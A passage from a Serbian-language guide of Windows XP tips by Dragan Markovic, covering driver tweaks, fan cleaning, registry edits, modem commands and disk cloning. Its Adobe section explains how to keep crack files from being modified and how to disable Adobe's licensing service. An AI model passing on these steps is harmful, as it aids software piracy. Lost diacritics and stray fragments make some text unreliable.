predloim program NetRun iz sekcije Korisni Programi. Tako?e nita se ne postie
uklju?ivanjem ili startovanjem dodatnih firewall programa.
DRAGAN MARKOVIC
Loe podeeni drajveri mogu da prave probleme, kao i loe podeen sistem. Iako su dananje
kartice vrlo brze, ponekad postoji problem u igri ili drajverima ili u samoj konfiguraciji sistema
i to zna da pravi razne probleme. Probleme u igri generalno reavaju patch-evi proizvo?a?e igre.
Drajvere smo ve? opisali. O konfiguraciji sistema ?e kasnije biti re?i. Sistem i njegovo
podeavanje su opisani u sekcijama Windows XP Services i Task Manager Task List. Ukoliko
neka igra ne?e da radi kako treba, blokira se, iska?e u Windows desktop, gasi ra?unar i sl.
potrebno je izvriti male modifikacije na drajverima. Za GF grafi?ke kartice kliknuti desnim
miem na prazan deo desktopa (ne na neku ikonicu) i odabrati Properties. Oti?i na tab Settings
i kliknuti na dugme Advanced. Kliknuti na tab sa imenom grafi?ke kartice. Prona?i i ugasiti Antialiasing i Anisotropic Filtering. Tako?e prokuati sa i bez Texture Sharpening opcije. Obavezno
uklju?iti Enable fog table emulation. Mipmap detail level postaviti na blend ili nie. Vertical Sync
uvek postaviti na Always Off. U BIOS-u sistema proverite da li vam je nameteno da vam je VGA
boot da AGP slota. Tako?e podesite video memoriju da odgovaraju?u vrednost tj. na onoliko
MB koliko ima vaa grafi?ka kartica. Ukoliko nita ne pomae, zapiite sve vrednosti iz BIOS-a i
resetujte BIOS na default vrednosti. Podesite ponovo
Potrudite se da prona?ete drajvere za monitor. Drajveri za monitor su vani kao i bilo koji drugi
drajveri. Prona?ite i instalirajte drajvere za va monitor. Podesite osveavanje slike tako da
odgovara vaem monitoru. Nije potrebno i?i preko 85 Hz pri osveavanju. Proverite mogu?nosti
osveavanja vaeg monitora. Generalno, rezolucije od 640x480 pa do 1024x768 a kod ve?ine
monitora i do 1152x864 mogu da rade u 85Hz na svim monitorima. Ukoliko elite da budete
sigurni da problem nije vezan za refresh rate tj. za osveavanje prona?ite program ReForce. U
njemu podesite sva osveavanja na 60 Hz i vidite da li je ovo reilo problem. Ukoliko nije podesite vrednosti koje su gore navedene na 72 Hz, na 75 Hz i na 85 Hz, dok ostale vrednosti van
navedenog opsega ostavite na 60 Hz. Uz svaku promenu osveavanja uklju?ite Vertical Sync
(VSync) i za D3D i za OpenGL.
Ukoliko nema efekata, igrati se sa drajverima. Ponekad je potrebno locirati problem, pa tek
onda traiti reenje. Ukoliko nita od navedenog nije pomoglo, preporu?ujem da na?ete
program Riva Tuner i instalirate ga. Kada se program startuje, napravi?e bazu sa vaim
drajverima i podeavanjima. Ukoliko menjate drajvere morate reinstalirati program ili mu ru?no
podesiti pravljenje nove baze. Kliknite na Customize... opciju u delu Target Adapter pored
imena vae grafi?ke kartice. Odaberite Customize Low-Level System Settings. Idite na NVStrap
Driver tab i kliknite na dugme install. Posle toga probajte menjati Sideband Addressing i Fastwrites parametre. U AGP tab-u moete probati sa podeavanjem AGP Transfer rate parametra.
Pod delom Driver Settings, kliknite na Customize i odabrati prvo directdraw and direct3D
settings a zatim i OpenGL settings. Podesiti VSync tab opcije na always off i isklju?iti antialiasing. Pokuati se igrati sa ostalim opcijama IZ OVIH TAB-OVA. OSTALE TAB-OVE NE DIRATI. Ukoliko ni ovo ne pomae, pokuajte smanjiti klok vae grafi?ke kartice i grafi?ke memorije. Posle
svega, probajte opcije iz preostalih tab-ova OVIH IKONICA (sem u slu?aju podeavanja
kloka).
DRAGAN MARKOVIC
Idemo u ku?ite 1. Mogu?e je da iz nekih razloga Audio kartica pravi razne probleme. Pokuajte
da isklju?ite integrisanu Audio karticu ukoliko je imate. Ukoliko imate dodatnu Audio karticu
izvadite je i vidite da li je problem jo uvek tu. Prethodno, naravno, deinstalirajte drajvere za
audio karticu i probajte sa Windows drajverima. Ukoliko imate i integrisanu i dodatnu audio
karticu morate isklju?iti u biosu sve to je vezano za integrisanu Audio karticu (Audio kontroler,
midi kontroler, game port i sl). Ukoliko imate dodatnu Audio karticu i integrisanu Audio karticu,
tako?e probajte da izvadite dodatnu i uklju?ite integrisanu audio karticu. Uvek pokuajte da
koristite Windowsove drajvere dok ne ustanovite problem jer oni najbolje rade i prave vrlo
malo problema, ali su oskudni opcijama, kvalitetom, brzinom i podrkom.
Reinstalirajte Windows. windows tako?e moe da bude uzrok mnogih problema. Pokuajte da
deinstalirate sve Qxxxxxxxx popravke koje je Windows instalirao ili koje ste vi instalirali. Ukoliko
se problem rei, instalirajte Qxxxxxxx popravke 2 po 2 i vidite kada ?e problem ponovo da se
pojavi. Kada utvrdite ta je uzrok, presko?ite taj Qxxxxxxx. Tako?e pokuajte da instalirate
Service Pack i sve Qxxxxxxx popravke. Mogu?e je da vam neka popravka fali i da zbog toga
problem nastaje. Slede?e je da probate da reinstalirate ceo Windows, tako to ?e te dok vam je
Windows startovan, poterati setup sa Originalnog Windows instalacionog CD-a ili poterati
instalaciju normalno sa CD-a tako to ?e se ra?unar startovati preko Windows XP butabilnog
instalacionog CD-a. Potrebno je da u biosu podesite da je boot sa CD ure?aja. Pri ovom nije
potrebno formatirati sistemski disk. Potrebno je samo pregaziti instalaciju, ?ime ?e te sa?uvati
sve vae podatke i sva podeavanja a Windows ?e popraviti neke bitne stvari. Probati da li se
problem ponovo pojavljuje i ukoliko sve radi polako reinstalirajte sve drajvere. Posle svake reinstalacije ponovo proveriti da li se problem pojavio. Ukoliko locirate problem sa drajverima,
potraite drugu verziju tih drajvera (obi?no novija pomae, dok je ponekad bolja i starija).
Slede?e, ako nita ne pomogne, je da reinstalirate Windows iz po?etka. Bekapujte sve vae
podatke. Moete koristiti BackRex bekap program da bi bekapovali svu potu i podeavanja u
OE i IE programima kao i vae konekcije. Bekapujte My Documents na sigurno mesto. Poterajte
ra?unar da se butuje sa CD-a i formatiite sistemsku particiju (najbolje u NTFS jer je sigurnija
iako malo sporija) i instalirajte Windows. Posle instalacije Windows-a instalirajte samo drajvere
za grafi?ku, za VIA ?ipset i 4-in-1 drajvere i pokuajte onda. Ukoliko je problem reen, postepeno
instalirajte sve potrebno i proveravajte da li se problem vratio. Mogu?e je da se problem vrati
zbog nekog programa (virus skenera ili sl.) a mogu?e je i da sve radi OK.
Idemo u kucite 2. Jedan od mogucih problema je toplota. Pokuajte da rastavite racunar tako
da vam jedna ili obe stane kucita budu slobodne. Na taj nacin ?e te obezbediti dodatan hladan
vazduh i ohladiti komponente. Proverite da li svi ventilatori rade. Ventilator na grafickoj kartici
ne dirati prstima (ne dirati prstima ni ostale ventilatore) vec upotrebiti malo ogledalo i videti da
li se vrti kako treba. Posebno proveriti da li se ventilator odmah zavrti pri paljenju racunara ili
ide teko. Ukoliko ventilator proizvodi ?udne zvukove, lupkanje, grebanje i sl. odneti racunar
kod servisera da ga pregleda i da namesti ventilator ili da zameni graficku karticu. Ukoliko vam
je istekla garancija, sve ovo moete uraditi i sami. Paljivo izvadite karticu iz racunara. Morate
odvrnuti raf koji pricvrcuje graficku za kucite sa leve strane. Takodje morate pomeriti
granicnik sa desne strane i kartica ce lako izaci. Paljivo pogledajte karticu i na?ite bezbolan
nacin da skinete ventilator. Nikako nemojte cupati ventilator ili hladnjak.
DRAGAN MARKOVIC
Uvek postoji civilizovan nacin da se sve rastavi. Kada ste skinuli ventilator, na donjoj strani
obicno postoji nalepnica koja se moe skinuti. Unutra se nalazi granicnik, seger osigurac ili
neto slicno i potrebno je skinuti ga vrlo paljivo. Nabolje koristiti picastu pincetu ili dve igle.
Ventilator je pogrebno o?istiti i na magnetnom delu koji se vrti, i prolaz za osovinu da staticnom
delu. Zatim je potrebno podmazati osovinu i deo kroz koji osovina prolazi ULJEM ZA IVACE
MAINE. Najbolje nabavite ulje za Bagat maine i to original. Ukoliko niste u mogucnosti da
pribavite ovo ulje, moete upotrebiti i WD-40 sprej ali sa kracim vekom trajanja, posle cega
ponovo morate podmazivati ventilator. NIKADA U NI U KOM SLUCAJU NE KORISTITI JESTIVO
ULJE TIPA DIJAMANT I SL. OVO CE TOTALNO UNITITI VENTILATOR I BICE TEKO PONOVO GA
OCISTITI. JESTIVO ULJE VREMENOM POSTAJE GUMIRANO POGOTOVO POSLE PROMENA TEMPERATURE HLADNO-TOPLO. Ponovo sastavite ventilator i ne zaboravite da vratite granicnik osigurac. Vratite nalepnicu a ako je vrlo loa preko rupice zalepite izolir traku i iskrojite je da ne
viri sa strane ventilatora. Koristite kvalitetnu izolir traku, najbolje gumiranu a nikako plastificiranu i krutu. Pre postavljanja nalepnice ili izolir trake kanite kap ulja u rupicu da bi se sve lepo
podmazalo. Ovaj postupak vai i za ostale ventilatore u ku?itu (procesorski, dodatnu, ventilator
za napajanje - spoljni i unutranji). Ukoliko niste iskusni u ovome, potraite pomoc od iskusnijeg
prijatelja ili idite u servis i traite da vam se poprave tj. podmau ventilatori. Dajte serviseru ulje
koje je predloenu gore u tekstu. Popravkom ventilatora ne gubite nita i takvi ventilatori mogu
da rade jo mnogo dugo bez problema pa cak i bolje. Proverite temperaturu glavnog procesora
i ukoliko je velika pokuajte da je snizite. Ja sam podmazao procesorski ventilator kada sam
primetio da mu je broj obrtaj pao sa 4500 na 3900 posle 3 meseca rada. Posle toga je radio na
5000 obrtaja. Posle 4 meseca radi na 4700 obrtaja uz svakodnevan rad od 10 h pa do 2-3 h posle
ponoci.
Jo uvek nita, idemo na ekstremne slucajeve. Ukoliko nita od ovoga nije pomoglo, moramo da
se postavimo kao prema procesoru. Vremenom pasta koja prenosu toplotu od procesora do
hladnjaka izgubi svoja svojstva, pa je potrebno da se ponovo nanese. Potrebno je skinuti hladnjak (rebrasti deo u kom ili na kom se nalazi ventilator). Hladnjak paljivo skinuti. Nikako ne
cupati hladnjak. Postoje ili rafovi koje je potrebno odvrnuti ili plasticni draci koje je potrebno
kombinirkama pritisnuti i neno izgurati iz rupe. Ocistiti sve delove na kojima se nalazi pasta i
to gornji deo procesora i donji deo hladnjaka. Koristiti pri cicenju krpu koja ne ostavlja tragove.
NE KORISTITI VATU I ALKOHOL NITI BILO KAKVO SLIcNO SREDSTVO. Kada je sve cisto, naneti to
kvalitetniju pastu na procesor grafi?ke kartice. Potrebno je naneti tanak sloj. Ne stavljati previe
paste, a NIKAKO ne stavljati premalo. Potrebno je ravnomerno rasporediti pastu po procesoru
tako da debljina bude svuda priblino jednaka. Hladnjak paljivo postaviti na njegovo mesto
tako da se pasta ne razmae. Kada je hladnjak postavljen i pricvrcen, karticu staviti na ravnu
podlogu i blago pritisnuti hladnjak tako da se pasta jo ravnomernije rasporedi. Hladnjak ne
lupkati, kuckati ili pritiskati prejako. Takodje je moguce pritisnuti hladnjak tako to se palac ruke
stavi iza procesora graficke kartice, a drugi iznad procesora na hladnjak i zatim pritiska. U
svakom slucaju potrebno je pritisnuti hladnjak dovoljno jako, i dovoljno neno. Vratiti karticu
na mesto i probati da li sve radi.
DRAGAN MARKOVIC
Ukoliko nita od ovoga nije pomoglo, sigurno je pretpostaviti da postoji neki ozbiljniji hardverski problem ili nekompatibilnost. Takodje je moguce da kartica nije ispravna ili postoji problem
sa maticnom plocom ili memorijom. Ukoliko ste u mogucnosti, pozajmite slicnu karticu od
nekog druga i pokuajte sa njom. Ukoliko problem opstaje i ponovo se javlja, moete otpisati
karticu kao izvor problema. Sledece to trebate da proverite je napajanje. Loe napajanje
takodje moe da uzrokuje razne probleme. Pozajmite napajanja od nekoliko vaih drugova i
vidite da li se problem ponovo javlja. Nije potrebno skidati napajanja vec samo spojiti kablove
na vau plocu. Sledece to trebate da gledate je memorija i da probate sa drugom memorijom.
Vano je i da pokuate da izvadite jedan memorijski modul ukoliko ih imate vie. Ukoliko ni ovo
nije problem, sledeca je maticna ploca. Odnesite racunar u servis i recite da sumnjate na
maticnu plocu. Traite da vam se ona zameni i pokuajte da se dogovorite da ukoliko se problem ne rei dobijete nazad va novac. Ostavite neki zalog koji ce vas obavezati da se vratite a
servis osigurati da im necete ukrasti ili pokvariti komponentu. Sledeca opcija je noenje
racunara u servis. Odnesite ga i recite ta ste sve pokuali. Ne dozvolite da vam pricaju kako ste
neto moda vi pokvarili. Windows je mogu?e lako pokvariti, ali hardver i komponente nije.
Ukoliko imate garanciju, ne cackajte po hardveru i ostavite komponente na svom mestu.
Moete jedino proveriti da li se svi ventilatori vrte. Moda je problem jednostavno u nekompatibilnosti izmedju komponenti i nita se ne moe uraditi. Moda je vreme za novi
racunar.
Nepotrebno je govoriti da sve radite na sopstvenu odgovornost i da autor nije odgovoran za
bili kakve, iako malo verovatne, kvarove. Ali eto i ti mora da se pomene.
70. Ubrzajte graficki interfejs Windows XP OS-a
Windows XP izgleda vrlo lepo. Otvaranje menija i ostalih delova je vrlo zanimljivo i lepo za oko.
Ipak sve te stvari usporavaju korisnikov pristup. Mnogi su se alili da im je XP jako spor. Podesite
nekoliko parametara i dobi?ete lep XP izgled i brzinu priblinu Windows 98 OS-u
1. Desni klik na My Computer i odaberite Properties
2. Idite na Advanced tab i pod delom Performance kliknite na Settings
3. Kliknite na Visual Effects (ukoliko vec nije otvorio) tab i podesite eljene parametre tako to
ce te iskljuciti pojedine stavke.
4. Ovo sam ja iskljucio:
Fade or slide menu into view
Fade or slide tool tips into view
Fade out menu items after clicking
Show shadows under menus
Slide open combo boxes
Slide taskbar buttons
Smooth-scroll list boxes
Use a background image for each folder type
Use common tasks in folders
DRAGAN MARKOVIC
5. Kliknite na Apply pa na OK. Pogasite sve prozore i uivajte u lepom a brzom grafickom interfejsu Windows XP OS-a.
DRAGAN MARKOVIC
512MB or more : 40000
4. Restartujte racunar
Ukoliko racunar pocne izuzetno cudno da se ponaa, a pogotovo ako nece da ree CD-ove
(pogotovo Audio CD i Mixed CD) vratite vrednost na originalnu i restartujte racunar.
DRAGAN MARKOVIC
Iskljucite Office Assistant-a
1. Startujte regedit
2. Idite u HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\[ver]\Common\Assistant
3. [ver] oznacava vau verziju Office aplikacija. Office XP ima verziju 10.0
4. Obriite sve vrednosti pod Assistant stavkom.
5. Restartujte racunar.
DRAGAN MARKOVIC
Windows Tips&Tricks
Ukoliko se u tekstu pominje registry baza ili registry key i sl. njoj se moe pristupiti kroz program
RegEdit.exe (Start>Run... i ukucajte regedit ili regedit.exe. Kada jednom naete vrednost, ime ili key
koji ste traili, kliknite na njega (da poplavi) i idite na File>Export... upiite neko ime po vaoj elji i
kliknite na Save dugme. Ovim postupkom ste sauvali deo registry baze koji modifikujete i moete
ga vratiti kada duplo kliknete LMB na fajl koji ste napravili (sa Save dugmetom). Kreiranje stavke se
vri tako to se pronae odgovarajua vrednost (mesto na kome se nalazite vidite u Status Bar-u
koja se nalazi u donjem delu regedit prozora. Ako se ne vidi ukljuite je pod View>Status Bar), i pod
padajuim menijem Edit odaberite New a zatim i vrednost tj. vrstu koja je naznaena.
ta uraditi ukoliko se izgube sve network konekcije
Ukoliko vam se nekada desilo da vam se poske podeavanja raunara ili posle skidanja virusa ili
adware i spyware programa desilo da vam se izgube konekcije u Network Connections, potrebno je
da postavite (vratite) odreene servise na njihove originalne vrednosti. To se moe uraditi na neki od
sledeih naina.
1. Pronaite na nekom raunaru registry podeavanja za servise RASAUTO i RASMAN, bekapujte ih
i importujte na raunar koji ima ovaj problem. Registry ete nai u:
85
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto]
"Start"=dword:00000003
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasMan]
"Start"=dword:00000003
2. Takoe moete sami kreirati ove stavke u regisry bazi ili kopirati sledei tekst koji se nalazi unutar
----------------- znakova i napraviti novi fajl koji e imati .reg ekstenziju na kraju (npr. popravka.reg):
-------------------Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto]
"Start"=dword:00000003
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasMan]
"Start"=dword:00000003
-------------------Kada ste napravili fajl, kliknite duplim miem na njega da bi ga startovali. Odgovorite potvrdno na
sve upite i restartujte raunar.
3. Skinite fajl infinitewinxpservices.zip i pogledajte teks file pod nazivom _Info&Installation.txt gde
ete nai objanjenja ta svaki od fajlova unutar arhive radi.
Ova trea opcija e vam podesiti servise na najlaki nain.
DRAGAN MARKOVIC
Kodovi YU karaktera
Na internetu je ponekad vrlo teko podesiti nae karaktere i ponekad oni nee da se prikazuju iako
bi trebali. Da bi osigurali njihov prikaz, potrebno je da umesto slova unesete neke od ovih karaktera
i to na mesto gde bi to slovo trebalo biti. Morate uneti sve karaktere od & do ;
Č
Ć
Š
Ž
Đ
č
ć
š
ž
đ
85
Kada se instalira Adobe Creative Suit, tj. Photoshop CS ili neki drugi program Adobe-a, instalira
se i program koji se zove Version Cue. Ako se ovaj program aktivira i propusti komunikacija sa
netom kroz firewall, ovaj e poslati vae personalne podate (od IP adrese do serijskog broja) Adobe
firmi ime se ugroava vaa privatnost u najgorem obliku. Da bi ovo spreili idite u direktorijum Version Cue (pronaite ga pomou search) i unutra ete nai Uninstaller. Pokrenite ga i deinstalirajte
Version Cue. Ovo bi bilo najbolje da uradite odmah posle instalacije Adobe Creative Suit aplikacije.
Na ovaj nain moete aplikacije slobodno koristiti bez bojazni o povredama vae privatnosti.
Druga stvar koji trebate da uradite je da pomou firewall programa koji koristite blokirate program
Adobelmsvc.exe koji se po standardnoj instalaciji nalazi u C:\Program Files\Common Files\Adobe
Systems Shared\Service. Takoe ne bi bilo loe da blokirate sve Adobe aplikacije poput
photoshop.exe, imageready.exe i ostalih pomou firewall programa jer i oni hoe da se spajaju na
Adobe server i da alju podatke.
Kada se Version Cue spoji na Adobe server, on modifikuje crack fajlove koje ste instalirali da bi
mogli da koristite Photoshop CS. Ipak, bez obzira na to da li su fajlovi krekovani ili ne (iako naravno
da nisu jer je to zabranjeno i zakonom kanjivo), ovim se povreuje privatnost vas kao regularnog
korisnika i zakonitog posedovaoca neke od Adobe aplikacije. Ovo zato to nema smisla da se kod
registrovanog korisnika proverava ispravnost instalacije. Za one koji koriste crack, to rade na svoju
odgovornost. Ako sledee fajlove namestite na Read Only, Version Cue nee biti u mogunosti da ih
menja. Ovo bi trebalo uraditi bez obzira na to da li ste deinstlirali Version Cue. Fajlovi koje treba
namestiti u Read Only su AdobeLM.dll, Tw10122.dat, emu.dll.
Obratite panju da svaki Adobe program u sebi sadri u vrstu spyware programa. Taj spyware se
loguje na Adobe server i alje serijski broj kako bi adobe pri sledeem dodatku (update-u ili patch-u)
ubacio sve nelegalne serijske brojeve u crnu listu i time onemoguio njihovo korienje. Ovo je
totalno neprihvatljivo i izuzetna je povreda privatnosti korisnika da mu se bez pitanja alju bilo kakvi
podaci na internet. Pogotovo ukoliko je legalni vlasnik programa. Iz ovog razloga je preporuljivo
iskljuiti sledee programe i servise kako bi spreili povredu vae privatnosti. Idite u C:\Program
Files\Common Files\Adobe\Web i pronaite AOM.exe. Preimenujte AOM.exe u AOM.ex_ ili u
AOM.xxx ili neto sl. Ovo e ga spreiti da se startuje na bilo kom Adobe programu i na taj nain vas
zatititi. Takoe, ne zaboravite da pomou firewall programa spreite bilo koji Adobe program sem
Acrobat Reader-a da ide na internet. Idite u Control Panel (Start>Settings>Control Panel) i startujte
Administrative Tools a zatim i Services. Pronaite Adobe LM Service i kliknite desnim miem na
njega i odaberite Properties. Pod Setup Type podesite Disabled.
DRAGAN MARKOVIC
Ovim je, nadamo se, iskljuena svaka mogunost povrede privatnosti legalnog korisnika Adobe
aplikacija.
Poboljajte lou i nestabilnu dial-up internet konekciju
1. Idite u Control Panel i startujte Phone and Modem Options
2. Kada se otvori prozor Phone and Modem Options otii na tab Modems. U prozoru e se pojaviti
lista modema instaliranih na raunaru.
3. Kliknite levim miem na va modem da ga obeleite i kliknete na dugme Properties.
4. Kada se otvori novi prozor kliknite na tab Advanced i pojavi e vam se mesto za upis Extra Settings
5. Pod Extra Initialization Commands upiite +ms=v34
6. Restartujte raunar i pokuajte da se spojite na internet.
Ovom procedurom se iskljuuju neki modemski protokoli pa e vam konekcija na server biti
ograniena na 33.600 brzinu. Ipak ako imate problema sa spajanjem i ako vam se stalno deava da
vam se prekine veza, ovo podeavanje e vam omoguiti mnogo stabilniji rad ali uz manju brzinu.
85
1. p je komanda za pulsno biranje ukoliko vaa centrala ne podrava tonsko biranje. Pulsno biranje
je kada ujete otkucaje biranja a tonsko kada ujete samo zvuke. Mora se staviti ispred broja telefona (p,4811111).
2. t je komanda za tonsko biranje ukoliko modem to ve ne radi sam ili niste u mogunosti da ovo
podesite na drugi nain.Mora se staviti ispred broja telefona (t,4811111)
Takoe pod Extra Initialization Commands moete upisivati sledee komande ali obratite panju na
formu upisivanja komandi.
1. Kada upisujete prvu komandu uvek ispred nje mora stojati at. Ovo se ne odnosi na +ms=v34 komandu koju smo gore upisali. Ona se moe staviti i posle svih unesenih komandi ali izmeu mora biti
razmak (npr atx3l2 +ms=v34)
2. x3 - komanda govori modemu da ne trai dialtone. Kod nas je ovo obavezna opcija ako ve nije u
modemu tako fabriki upisana ili podeena u drajverima (atx3).
3. L0, L1, L2 i ponegde L3 je pojaavanje zvunika modema (atL2 ili atl2 a ako ima i x3 komanda onda
ide atx3l2)
Temeljna reinstalacija nVidia Forceware ( Detonator ) drajvera
1. Startujte raunar u SAFE MODE-u. Kada upalite raunar pritiskajte F8 taster na tastaturi. Na novijim raunarima proces podizanja traje vrlo kratko pa je bolje da odmah po paljenju raunara pritiskate F8 sve dok vam se ne pojavi meni sa opcijama uitavanja Windowsa.
2. Kada ste stigli do odabira opcija, odaberite SAFE MODE i saekajte da se Windows podigne.
3. Kada se raunar podigao u Safe Mode-u, idite na Control Panel i startujte Add or Remove Programs
4. Deinstalirajte NVIDIA Display Driver. Ako deinstalacija ponudi da restartuje raunar odgovorite sa
NO. Potrebno je da ne restartujete raunar odmah. To ete uraditi kasnije.
5. Idite na Start > Run... i startujte regedit
6. Idite u HKEY_LOCAL_MACHINE\Software\NVIDIA Corporation
7. Ako postoji stavka NVIDIA Corporation obriite je a ako je nema ugasite regedit. Paljivo proverite
da li stavka postoji.
8. Restartujte raunar i pustite ga da se normalno podigne.
DRAGAN MARKOVIC
9. Kada vas Windows pita da instalirate drajvere za novonaeni ureaj, kliknite na Cancel.
10. Pronaite instalacionu verziju drajvera koje elite da instalirate i pokrenite instalaciju.
11. Pratite ta vam drajveri govore i zavrite instalaciju. Podesite sve parametre po vaoj elji.
Ovom procedurom ete izgubiti sva setovanja opcija grafike kartice. Ovo e rezultovati drugaijoj
desktop rezoluciji, nedostatku slike na TVu ako imate spojen TV-OUT i sl. Posle podeavanja e se
sve vratiti na staro. Takoe pogledajte 94. Dodatna podeavanja u nVidia ForceWare ( Detonator )
drajverima radi ukljuivanja dodatnih opcija u drajverima kartice.
Dodatna podeavanja u nVidia ForceWare ( Detonator ) drajverima
85
1. Startujte regedit
2. Idite u HKEY_LOCAL_MACHINE\Software\NVIDIA Corporation\Global
3. Proverite da li postoji stavka NVTweak. Ako je nema kliknite desno dugme mia Global stavku i
odaberite New > Key. Novi key nazovite NVTweak. Ako ve postoji nastavite dalje.
4. Uite u NVTweak i proverite da li postoji stavka Coolbits. Ako ne postoji, kliknite desnim miem
na NVTweak i odaberite New > DWORD Value. Nazovite novi DWORD Coolbits.
5. Kliknite dupli klik mia na Coolbits i promenite mu vrednost pod Value Data u 3.
6. Zatvorite regedit
7. Idite na Control Panel, Display. Kliknite na tab Settings i na dugme Advanced. Kliknite na tab sa
imenom vae grafike kartice i imaete dodatne opcije za DirectX i za podeavanje kartice tj. za njen
overclock.
Kloniranje particije sa jednog na drugi Hard Disk
Verovatno ste nekada eleli da ceo hard disk i va sistem prebacite na novi disk koji ste kupili a da
pri tom ne morate da reinstalirate Windows OS. Ovo je mogue uraditi i prilino je lako a potrebno
vam je nekoliko disketa (ili butabilni CD ali o tome neu ovde govoriti) i nekoliko programa. Imajte
na umu da morate da vidite koji HDD imate. Ukoliko je novi HDD recimo Western Digital a stari
Maxtor, za kloniranje ete koristiti Western Digitalov program, a ukoliko je obrnuto koristiete Maxtorov program.
Potrebno je nabaviti programe:
1. Western Digital Data Lifeguard za DOS (nikako za Windows)
2. Maxtor
3. Seagate
4. CloneMaxx 1.0
5. Windows XP instalacioni disk (nije neophodan ali bi bilo odlino da ga imate zbog particionisanja
diska)
Neophodno je da prvo napravite sve floppy diskete koje su vam potrebne (zavis od toga koji HDD
imate). Kada skinete neki od ovih programa i kada ga startujete, on e traiti disketu na koju e
instalirati potrebne programe. Upotrebite ovu disketu da startujete sistem u DOS i proverite da li
disketa radi i da li sam program funkcionie. Ukoliko vam u nekom programu neto ne funkcionie
(mi, tastatura i sl.) restartujte raunar i probajte ponovo jer je najverovatnije dolo da neke greke
(ovo najvie za WD Data Lifeguard). Ne zaboravite da namestite da vam se raunar startuje sa
diskete u biosu (First Boot Device : Floppy). Najbolje bi bilo da namestite da First bude Floppy,
Second CD-Rom a Third HDD.
DRAGAN MARKOVIC
85
Ovde u opisati proces kada se sa starog Maxtor diska od 40GB (podeljenog na 10 i 30 GB) prebacuju podaci na novi Western Digital od 80GB (podeljenog na 10 i 70 GB).
1. Ukljuiti oba HDDa u raunar i podesiti WD (Wetern Digital) da bude MASTER a stari HDD na
SLAVE (ukoliko niste sigurni kako se ovo nameta pogledajte gornju stranu diska gde se nalazi slika
JUMPERA za podeavanje).
2. Podesite u biosu da vam se raunar startuje sa CD-Rom ureaja (First boot device:CD-Rom)
3. Ubacite CD u ureaj i podignite instalaciju Windowsa.
4. Pratite instalaciju i kreirajte particije. Formatirajte C: particiju u NTFS. D particiju emo srediti kasnije. Ukoliko niste sigurni kako se ovo radi pogledajte dokument Windows Instalacija (link)
5. Kada se formatiranje C: particije zavri, instalacija e poeti neto da proverava. Neophodno je da
u tom momentu izbacite disk iz CD-Rom ureaja da bi prekinuli instalaciju Windows XP OSa.
6. Izvadite CD disk i ubacite floppy disk. Izaite iz Windows XP instalacije i raunar e se restartovati
i podii e se sa diskete.
7. Kada se WD program podigne, naite opciju Copy Partition. Za Source odaberite C: particiju
starog HDDa (Maxtor, npr.) a za Destination C: particiju novog HDDa (Western Digital, npr.)
8. Startujte proces kopiranja i saekajte da se ovaj zavri. Ukoliko vam se na kraju kopiranja pojave
neke greke i program kae da je zavrio i da vi trebate da restartujete raunar, uradite to. Ovo nije
najjasnije ali program izgleda ima neku greku u sebi koja ga spreava da izbaci poruku da je sve
zavreno uredu. Umesto toga program pokae neku sistemsku greku i ugasi se. Izvadite disketu iz
drajva i ugasite raunar ali obratite panju da ga ne restartujete. Neophodno je da raunar ugasite
da bi mogli da iskljuite stari disk. Ukoliko se raunar restartuje drite dugme za paljenje nekoliko
sekundi i raunar bi trebalo da se ugasi.
9. Dok je raunar ugaen, iskljuite stari HDD. Pokuajte da startujete raunar. Ukoliko niste u
mogunosti da startujete raunar, tj. ukoliko raunar ne moe da nae HDD, ugasite ga i probajte da
mu podesite JUMPERE tako da bude MASTER.
10. Kada raunar prepozna disk i kada podigne sistem, formatirajte D: particiju. Kada se formatiranje
zavri iskljuite raunar.
11. Ponovo prikljuite stari HDD i startujte raunar. Ovo je neophodno uraditi ba na ovaj nain jer
Windows ima tendenciju da prepozna dva sistema i da pravi probleme. Obratite panju da ponovo
podesite JUMPERE.
12. Prekopirajte sve potrebne podatke sa ostalih particija. Radi provere pogledajte Properties za C:
particiju starog diska i vidite kolika mu je veliina zauzetih fajlova. To uradite i za C: particiju novog
diska. Uporedite veliine. Obratite panju da na C: particiji starog diska ne uzmete u obzir fajl
pagefile.sys. Najbolje bi bilo da na C: particiji starog diska obeleite sve fajlove sem pagefile.sys,
kliknete na neki obeleen fila DESNIM dugmetom mia i odaberete properties. Pribeleite negde
veliinu zauzetih fajlova. Isto to uradite i sa C: particijom novog HDDa. Veliine ne bi trebalo da se
razlikuju mnogo. Moda samo nekoliko megabajta to zavisi od log fajlova.
13. Ugasite raunar i iskljuite stari disk iz raunara. Namestite JUMPERE i startujte raunar.
Ovo je mogue uraditi i ukoliko ste menjali sve komponente ili neke od bitnijih kao npr. matinu
plou. Posle prebacivanja Windows se moda nee startovati. Verovatno je da se ne bi startovao ni
sa starog HDDa. Potrebno je da startujete Windows XP instalaciju. Kada stignete do prozora na kom
izmeu ostalog pie: If one of the fallowing Windows XP installations is damaged, Setup can try to
repair it. Use the UP and DOWN ARROW keys to select an installation. To repair the selected Windows XP installation, press R. To continue..... itd. Ovde je potrebno pritisnuti R posle ega e
zapoeti popravka Windows XP instalacije. Kada se sve zavri i Windows XP startuje potrebno je
izbrisati instalacije starih drajvera i stare ureaje ukoliko ih ima.
DRAGAN MARKOVIC
1. Startujte regedit
2. Idite u HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\UserInfo
3. Kliknite duplim klikom na Company. Videete neke brojeve, npr. 0000 49 00 6E 00 66 00 69 00 I.n.f.i.
4. Potrebno je da tamo gde pie I.n.f.i. prepravite u ime svoje kompanije pa da pie, npr. T.r.a.d.
5. Morate posle svakog slova staviti taku da bi sve radilo.
6. Pod Company upisujete ime vae firme
7. Pod UserInitials vae inicijale
8. Pod UserName vae ime i prezime
9.
Dok
ste
jo
uvek
u
regedit
programu,
idite
u
HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\. Tamo ete nai sve Office XP aplikacije i to
Access, Excel, FrontPage, PowerPoint, Word. U svakom od tih direktorijuma se nalazi direktorijum
UserInfo i u njemu UserInfo [REG_BINARY] key stavka. Ukoliko obriemo ovu stavku, svaki od
Office XP aplikacija e ponovo proitati UserInfo i prikazivae vae ime (u protivnom, ako ne uradite
stavku 9. prikazivae se staro ime jer programi sami pamte vrednosti).
